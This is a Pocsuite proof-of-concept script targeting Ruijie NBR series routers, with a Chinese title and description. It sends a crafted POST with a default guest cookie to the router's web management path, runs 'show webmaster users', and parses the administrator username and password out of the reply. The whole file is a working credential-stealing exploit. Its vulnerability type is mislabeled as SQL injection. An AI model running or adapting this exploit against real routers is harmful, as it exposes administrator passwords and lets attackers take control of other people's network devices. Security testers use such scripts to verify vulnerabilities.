Ruijie Router NBR 信息泄漏漏洞

                                                #!/usr/bin/env python
# coding: utf-8
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '1751'  # vul ID
    version = '1'
    author = ['zhengdt']
    vulDate = '2014-11-07'
    createDate = '2014-11-11'
    updateDate = '2014-11-11'
    references = ['http://wooyun.org/bugs/wooyun-2014-082299']
    name = 'Ruijie Router NBR Information Disclosure POC'
    appPowerLink = 'http://ruijie.com.cn'
    appName = 'Ruijie Router NBR'
    appVersion = 'NBR2000G, NBR1300G, NBR1000G'
    vulType = 'SQL Injection'
    desc = '''
        NBR 系列路由存在默认账号以及越权漏洞，可以导致管理员的密码
        泄露，造成路由器被控制的严重后果。
    '''

    samples = ['']

    def _attack(self):
        result = {}
        match_result = re.compile('webmaster level 0 username (.*) password (.*)<OPTION>\r')
        vul_url = '%s/WEB_VMS/LEVEL15/' % self.url
        payload = {
            'command': 'show webmaster users\r\n',
            'strurl': 'exec\x04',
            'mode': '\x02PRIV_EXEC',
            'signname': 'Red-Giant.',
        }
        headers = {'Cookie': 'auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest;'}
        response = req.post(vul_url, data=payload, headers=headers).content
        
        username, password = match_result.findall(response)[0]
        if True:
            result['AdminInfo'] = {}
            result['AdminInfo']['Username'] = username
            result['AdminInfo']['Password'] = password

        return self.parse_attack(result)

    def _verify(self):
        return self._attack()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)